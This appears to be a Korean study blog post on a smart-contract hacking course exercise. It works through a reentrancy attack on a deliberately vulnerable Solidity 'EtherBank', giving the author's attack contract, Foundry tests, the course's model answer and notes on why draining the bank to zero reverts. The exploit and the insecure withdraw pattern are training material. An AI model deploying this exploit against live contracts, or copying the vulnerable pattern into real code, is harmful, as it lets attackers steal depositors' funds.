// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
/**
* @title EtherBank
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract EtherBank {
mapping(address => uint256) public balances;
function depositETH() public payable {
balances[msg.sender] += msg.value;
}
function withdrawETH() public {
uint256 balance = balances[msg.sender];
// Send ETH
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Withdraw failed");
// Update Balance
balances[msg.sender] = 0;
}
}
가장 기본적인 ReEntrancy 공격이 가능한 컨트랙트다.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
interface IEtherBank {
function depositETH() external payable;
function withdrawETH() external;
}
contract AttackBank {
IEtherBank bank;
address attacker;
constructor(address _bank) {
bank = IEtherBank(_bank);
attacker = msg.sender;
}
function attack() external payable{
bank.depositETH{value: msg.value}();
bank.withdrawETH();
}
function withdraw() external {
(bool success, ) = attacker.call{value: address(this).balance}("");
require(success, "Withdraw failed!");
}
fallback() external payable{
bank.withdrawETH();
}
}
함수 호출 한 번에 예치, 인출 모두 하도록 만들고 이후 이더를 받아오면 계속 인출 함수를 호출하도록 만들었다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/reentrancy-1/EtherBank.sol";
import "../../src/reentrancy-1/AttackBank.sol";
contract TestRE1 is Test {
address deployer;
address user1;
address user2;
address user3;
address user4;
address attacker;
EtherBank bank;
AttackBank attack_contract;
uint256 constant public USER1_DEPOSIT = 1 ether;
uint256 constant public USER2_DEPOSIT = 2 ether;
uint256 constant public USER3_DEPOSIT = 3 ether;
uint256 constant public USER4_DEPOSIT = 4 ether;
uint256 constant public ATTACKER_DEPOSIT = 5 ether;
uint256 constant public TOTAL_DEPOSIT = USER1_DEPOSIT + USER2_DEPOSIT + USER3_DEPOSIT + USER4_DEPOSIT;
function setUp() public {
deployer = address(1);
user1 = address(2);
user2 = address(3);
user3 = address(4);
user4 = address(5);
attacker = address(6);
vm.deal(user1, USER1_DEPOSIT);
vm.deal(user2, USER2_DEPOSIT);
vm.deal(user3, USER3_DEPOSIT);
vm.deal(user4, USER4_DEPOSIT);
vm.deal(attacker, ATTACKER_DEPOSIT);
vm.prank(deployer);
bank = new EtherBank();
vm.prank(attacker);
attack_contract = new AttackBank(address(bank));
vm.prank(user1);
bank.depositETH{value: USER1_DEPOSIT}();
vm.prank(user2);
bank.depositETH{value: USER2_DEPOSIT}();
vm.prank(user3);
bank.depositETH{value: USER3_DEPOSIT}();
vm.prank(user4);
bank.depositETH{value: USER4_DEPOSIT}();
assertEq(address(bank).balance, TOTAL_DEPOSIT);
}
function test_attack() public {
vm.startPrank(attacker);
attack_contract.attack{value: 1 ether}();
attack_contract.withdraw();
vm.stopPrank();
assertEq(address(bank).balance, 0);
assertEq(attacker.balance, TOTAL_DEPOSIT + 1 ether);
}
}
attacker
에게 5이더를 주고 1이더를 예치시켜서 기존에 예치된 10이더를 빼오도록 만들었다.
결과는 fail.
어떤 점이 틀렸을까? 모범답안과 비교해보자.
interface IEtherBank {
function withdrawETH() external;
function depositETH() external payable;
}
contract AttackBank {
IEtherBank bank;
address payable attacker;
constructor(address _bank) payable {
bank = IEtherBank(_bank);
attacker = payable(msg.sender);
}
function attack() public payable {
bank.depositETH{value: msg.value}();
bank.withdrawETH();
}
receive() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdrawETH();
} else {
(bool sent, ) = attacker.call{value: address(this).balance}("");
require(sent, "Transfer Failed!!!");
}
}
}
가장 눈에 띄는 차이점은 if문을 통해 Reentrancy가 트리거되는 조건을 설정했다는 것이다. 이외에도 나는 fallback()
을 썼지만 모범답안에서는 receive()
를 사용했다. msg.data가 비어있으면 receive()
가 호출되는데, 내가 작성한 공격 컨트랙트를 receive()
로 수정해도 똑같은 에러가 났다. 따라서 에러의 원인은 밑도 끝도 없이 Reentrancy공격을 하려고 했기 때문일 수 있다.
contract TestRE1 is Test {
uint128 public constant USER1_DEPOSIT = 12 ether;
uint128 public constant USER2_DEPOSIT = 6 ether;
uint128 public constant USER3_DEPOSIT = 28 ether;
uint128 public constant USER4_DEPOSIT = 63 ether;
uint256 init_attacker_bal;
uint256 init_bank_bal;
EtherBank bank;
AttackBank attackBank;
address deployer;
address user1;
address user2;
address user3;
address user4;
address attacker;
function setUp() public {
deployer = address(1);
user1 = address(2);
user2 = address(3);
user3 = address(4);
user4 = address(5);
attacker = address(6);
vm.deal(user1, 100 ether);
vm.deal(user2, 100 ether);
vm.deal(user3, 100 ether);
vm.deal(user4, 100 ether);
vm.deal(attacker, 100 ether);
vm.prank(deployer);
bank = new EtherBank();
vm.prank(attacker);
attackBank = new AttackBank(address(bank));
vm.prank(user1);
bank.depositETH{value: USER1_DEPOSIT}();
vm.prank(user2);
bank.depositETH{value: USER2_DEPOSIT}();
vm.prank(user3);
bank.depositETH{value: USER3_DEPOSIT}();
vm.prank(user4);
bank.depositETH{value: USER4_DEPOSIT}();
init_attacker_bal = address(attacker).balance;
init_bank_bal = address(bank).balance;
assertEq(init_bank_bal, USER1_DEPOSIT + USER2_DEPOSIT + USER3_DEPOSIT + USER4_DEPOSIT);
}
function test_Attack() public {
attackBank.attack{value: 1 ether}();
assertEq(address(bank).balance, 0);
assertEq(address(attacker).balance, init_attacker_bal + init_bank_bal + 1 ether);
}
}
테스트 코드는 큰 차이점은 없다.
기존 공격 컨트랙트에 조건문을 추가했더니 성공했다.
내가 지금까지 ReEntrancy 시나리오를 짜면서 간과했던 부분을 오늘 알았다. 공격할 컨트랙트에서 이미 모든 이더리움을 탈취했음에도 불구하고, 계속해서 call()
을 호출해서 없는 이더를 빼내려고 하면 결국 revert
된다는 점이다. revert()
돼서 지금까지 탈취했던 이더도 다시 공격했던 컨트랙트로 돌아가게 된다.
따라서 소탐대실(?) 하면서 모든 이더를 가져오려고 하기보다 조금 남겨두고 대부분의 이더를 가져오는 미덕(?)을 보여주자.